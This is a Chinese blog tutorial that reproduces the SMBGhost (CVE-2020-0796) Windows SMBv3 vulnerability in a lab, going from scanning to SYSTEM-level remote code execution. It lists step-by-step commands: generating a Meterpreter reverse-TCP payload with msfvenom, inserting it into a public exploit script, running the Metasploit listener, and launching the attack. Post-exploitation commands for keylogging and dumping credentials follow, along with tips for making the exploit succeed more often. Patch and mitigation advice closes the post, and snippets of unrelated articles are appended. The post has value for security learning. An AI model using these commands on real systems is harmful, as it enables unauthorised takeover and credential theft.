news 2026/6/12 19:07:08

永恒之黑(CVE-2020-0796)漏洞复现:从检测到远程代码执行(超详细附截图)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
永恒之黑(CVE-2020-0796)漏洞复现:从检测到远程代码执行(超详细附截图)

前言:本次漏洞的检测是用的PoC漏洞检测脚本,漏洞的利用是EXP漏洞利用骄脚本。那为啥要用脚本而不是用MSF中的某个模块呢?永恒之黑(CVE-2020-0796)漏洞之所以通常需要借助独立脚本而非MSF一键模块,主要源于其利用的不稳定性与特殊定位。该漏洞触发内核缓冲区溢出极易导致靶机蓝屏,即使利用成功系统也可能在短时间内崩溃,同时其影响范围仅限于Windows 10 1903/1909等少数版本,且微软迅速发布了补丁,这使得开发稳定、通用的远程利用模块价值较低。MSF尽管后来也收录了该漏洞模块,但官方评级并不推荐作为首选攻击手段,相反该漏洞在本地提权(LPE)场景中更具实战意义——攻击者通常先通过其他方式获得低权限Shell,再利用永恒之黑提权至SYSTEM。因此,实战中更多采用社区维护的独立脚本,以获得更好的灵活性和对不稳定利用的容忍度。

1. 漏洞概述

项目内容
漏洞编号CVE-2020-0796(微软安全公告 ADV200005)
漏洞名称SMBGhost / CoronaBlue / 永恒之黑
漏洞类型SMBv3 压缩功能缓冲区溢出 → 远程代码执行(RCE)
影响组件Windows SMBv3.1.1 协议(压缩解压功能)
危害等级高危(CVSS 8.8/10),可远程获取 SYSTEM 权限
影响系统Windows 10 1903 / 1909(64位),Windows Server 1903 / 1909

2. 实验环境

角色操作系统IP 地址关键配置
攻击机Kali Linux192.168.10.224安装 git, python3, msfvenom, Metasploit
靶机Windows 10 1909192.168.10.141未打补丁 KB4551762,关闭防火墙,445端口开放

靶机为win10版本并且关闭了防火墙的,可以看到两台主机能够互通的

3. 漏洞检测

3.1 下载漏洞检测工具

网址:https://github.com/ollypwn/SMBGhost

3.2 执行漏洞检测

命令:python scanner.py 192.168.10.141

如果漏洞存在,会显示[+] Target is vulnerable!;如果已打补丁或不影响,会显示[-] Target is not vulnerable.

可以用ls命令查看当前文件夹,可以看到有scanner.py文件,执行漏洞检测命令,输出Vulnerable 说明靶机确实是存在着漏洞的。

检测原理:该脚本通过发送特制的 SMB 协商请求,检查目标是否支持 SMBv3 压缩功能且未安装补丁,从而判断漏洞是否存在。可以打开脚本看看代码就好理解了。

4. 漏洞原理简述

  1. 漏洞位置:Windows SMBv3.1.1 压缩功能,函数Srv2DecompressData

  2. 触发机制:该函数计算解压所需内存时,直接相加攻击者可控的两个32位字段:OriginalCompressedSegmentSize + Offset。攻击者设为最大值+小值(如0xFFFFFFFF+0x10),导致整数溢出,结果变成很小的数(如15字节)。

  3. 分配过小内存:系统分配了15字节的缓冲区,但解压后的实际数据有数MB,写入时发生内核缓冲区溢出

  4. 两种结果

    • 成功:溢出数据中精心构造了返回地址,指向shellcode → 执行恶意代码,获得SYSTEM权限。

    • 失败:返回地址错位 → CPU跳转到无效地址 → 蓝屏。

  5. 不稳定原因:返回地址的精确偏移依赖系统版本、内存布局、KASLR等,EXP内置偏移易与实际不符,导致频繁蓝屏。

5. 漏洞利用步骤

5.1 下载远程利用 EXP

网址:https://github.com/chompie1337/SMBGhost_RCE_PoC

5.2 生成反向连接木马(Payload)

双击打开文件夹,右键打开终端,这就进入到了该文件夹的终端中,接下来要使用msfvenom生成一个木马,这里采用反向连接,反向连接是指木马在靶机中运行后主动向攻击机发起连接,其核心优势在于能够穿透防火墙和NAT,因为出站连接通常被允许,从而解决了靶机无法被直接访问的问题。执行以下命令就能生成一个木马程序存放在shellcode.txt的文件中。

注意反向连接一定要加LHOST参数,因为反向连接是木马在靶机中主动向攻击机发起连接,他必须要知道攻击机的地址,如果选择正向连接的话就可以不加。

命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.224 LPORT=4444 -f python -o shellcode.txt

可以看到这里生成成功了一个木马程序。

5.3 修改 EXP 脚本,植入木马

成功生成了一个木马程序后需要将这个木马程序写入攻击程序中。但是这个生成的木马程序不能直接使用,需要做出一些修改。以下是步骤:

  1. 用文本编辑器打开shellcode.txt,然后点击搜索查找并替换所有的buf为USER_PAYLOAD。

2.将修改后的shellcode.txt保存并全选复制,然后打开文件夹中名叫exploit.py的文件,这个文件就是攻击程序了,打开后往下滑找到以USER_PAYLOAD开头的这一串代码块,然后把这一块代码全选后替换为刚刚我们复制的木马程序的代码。看到这应该就知道为啥上一步要把我们生成的木马程序改成USER_PAYLOAD开头了吧,就是为了和这个代码块的开头一致。

看到这可能会有疑问,为啥要把这个代码块替换成我们生成的木马程序呢,我们可以这样想,现在这个exploit.py程序就是攻击程序,我们可以把他想做是一个注射器,而我们刚刚生成的木马程序比做成药水,我们替换代码块的这一步就像是给注射器中替换一个为你量身打造的药水,实现对症下药。原本的代码块可能不适合我们的环境,如果不替换可能出现攻击失败的问题。

5.4 启动 Metasploit 监听器

通过上面的几步,我们对永恒之黑漏洞的检测和脚本的准备都已经完成了,接下来我们就要通过exploit.py这个攻击程序注入我们生成的木马程序。由于我们配置的是反向连接,需要等木马主动来连接kali主机,所以我们需要在kali的handler配置监听端口。

另开一个终端:

msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp ()
msf6 exploit(multi/handler) > set LHOST 192.168.10.224
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

依次执行完命令后可以看到,已经成功开启了反向链接,监听192.168.10.224(本机)的4444端口,注意这个端口要设置和生成木马的时候设置的端口一致,这些命令设置的参数要和生成木马的参数一致。

5.5 发起攻击

kali攻击机已经开启了444端口的监听,接下来就要发起攻击了,要让植入的木马主动连接过来。

在第一个终端执行:

python exploit.py -ip 192.168.10.141

脚本会打印内存信息,最后提示Press a key to execute shellcode!按任意键

这个时候按下任意一个按键,攻击发起完成。

由于永恒之黑并不像永恒之蓝那样能够稳定利用,这个时候出现蓝屏是正常的,永恒之黑是内核级内存破坏漏洞,利用需要精确控制内存布局,而ASLR、系统状态等不可控因素极易导致蓝屏或失败,因此极不稳定。这个时候也无法判断木马是否植入成功,这时候反复运行几遍总能成功一次。这里有个小技巧,在靶机未登录的时候(在登录页面)这个时候发起攻击成功率更高。

5.6 获取会话

如果成功,监听器会显示Meterpreter session 1 opened。进入会话:

bash

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo

经过多次尝试后,成功进入了会话,执行getuid命令和sysinfo命令后可以看到成功输出了信息,至此永恒之黑漏洞的利用完成

6. 后渗透操作(可选)

  • 迁移进程以支持截图、键盘记录:

    bash

    meterpreter > ps | grep explorer
    meterpreter > migrate <PID>

  • 截图:screenshot

  • 键盘记录:keyscan_startkeyscan_dump

  • 抓取哈希:hashdump

  • 加载 kiwi:load kiwicreds_all

7. 常见问题

问题原因解决方法
靶机蓝屏漏洞利用不稳定恢复快照,未登录状态重试,多次尝试
监听器无连接木马未执行或网络不通检查防火墙、LHOST、端口,这里不行可以尝试重启主机,恢复快照。
提示缺少模块Python 依赖缺失pip3 install impacket pycryptodome

8. 防御建议

  1. 安装补丁:KB4551762。

  2. 临时缓解:禁用 SMBv3 压缩(PowerShell 管理员):

    powershell

    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "DisableCompression" -Type DWORD -Value 1 -Force

  3. 网络封堵:边界防火墙阻止 445 端口入站。

  4. 系统升级:升级到 Windows 10 20H2 及以上版本。

9.参考资料

类别名称链接
官方公告Microsoft 安全通报 ADV200005https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005
漏洞数据库NVD - CVE-2020-0796https://nvd.nist.gov/vuln/detail/CVE-2020-0796
检测工具ollypwn / SMBGhost (GitHub)https://github.com/ollypwn/SMBGhost
利用脚本chompie1337 / SMBGhost_RCE_PoC (GitHub)https://github.com/chompie1337/SMBGhost_RCE_PoC
国内分析绿盟科技漏洞通告https://www.nsfocus.net/vulndb/46976
补丁下载Microsoft 官方补丁 KB4551762https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762

10. 总结

本次实验成功复现了永恒之黑漏洞的远程代码执行攻击,获得了靶机的 SYSTEM 权限。关键经验:

  • 漏洞检测是确认目标是否可攻击的重要前提。

  • 远程利用极不稳定,蓝屏常见,需多次尝试。

  • 未登录状态下成功率显著提高(内存布局更干净)。

  • 该漏洞再次证明及时安装补丁、关闭不必要服务的重要性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/14 10:52:35

深入解析惯性器件零偏稳定性与零偏不稳定性的测算方法与应用场景

1. 惯性器件零偏特性基础概念 第一次接触陀螺仪和加速度计参数表时&#xff0c;我被"零偏稳定性"和"零偏不稳定性"这两个相似术语搞得晕头转向。这就像分辨双胞胎兄弟——看起来几乎一样&#xff0c;但性格迥异。实际上&#xff0c;这两个指标都在描述惯性…

作者头像 李华
网站建设 2026/4/14 10:51:45

Wireshark 零基础使用教程(超详细)保姆级手把手教学

Wireshark零基础使用教程 一、Wireshark是什么 Wireshark是使用最广泛的一款「开源抓包软件」&#xff0c;常用来检测网络问题、攻击溯源、或者分析底层通信机制。 它使用WinPCAP作为接口&#xff0c;直接与网卡进行数据报文交换。 二、Wireshark抓包原理 Wireshark使用的…

作者头像 李华
网站建设 2026/4/14 10:46:10

春联生成模型-中文-base功能实测:对比通用模型,专业生成工整春联

春联生成模型-中文-base功能实测&#xff1a;对比通用模型&#xff0c;专业生成工整春联 春节将至&#xff0c;家家户户都开始准备贴春联。但写一副既工整又有新意的春联并非易事——需要考虑对仗、平仄、寓意等多个维度。传统方法要么依赖个人文学功底&#xff0c;要么只能使…

作者头像 李华
网站建设 2026/4/14 10:45:00

Java 核心高频考点(面试必问,含答案+原理)

一、Java 基础(初级必问) 1. JDK、JRE、JVM 区别 JVM:Java 虚拟机,负责执行字节码,跨平台核心。Java 代码编译后生成 .class 字节码,JVM 负责将字节码翻译成对应操作系统的机器指令,实现“一次编译,到处运行”,不同系统有不同的 JVM 实现(如 Windows 版、Linux 版)…

作者头像 李华
网站建设 2026/4/14 10:43:58

视频资源智能下载器:5分钟掌握全平台资源批量获取技巧

视频资源智能下载器&#xff1a;5分钟掌握全平台资源批量获取技巧 【免费下载链接】res-downloader 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载! 项目地址: https://gitcode.com/GitHub_Trending/re/res-downloader 还在为视频…

作者头像 李华
网站建设 2026/5/29 22:59:40

nli-distilroberta-base安全与隐私考量:模型部署中的风险与缓解措施

nli-distilroberta-base安全与隐私考量&#xff1a;模型部署中的风险与缓解措施 1. 为什么需要关注模型安全 最近几年&#xff0c;AI模型在各个领域大显身手的同时&#xff0c;安全问题也越来越受到重视。想象一下&#xff0c;你花了大价钱训练好的模型&#xff0c;上线后被人…

作者头像 李华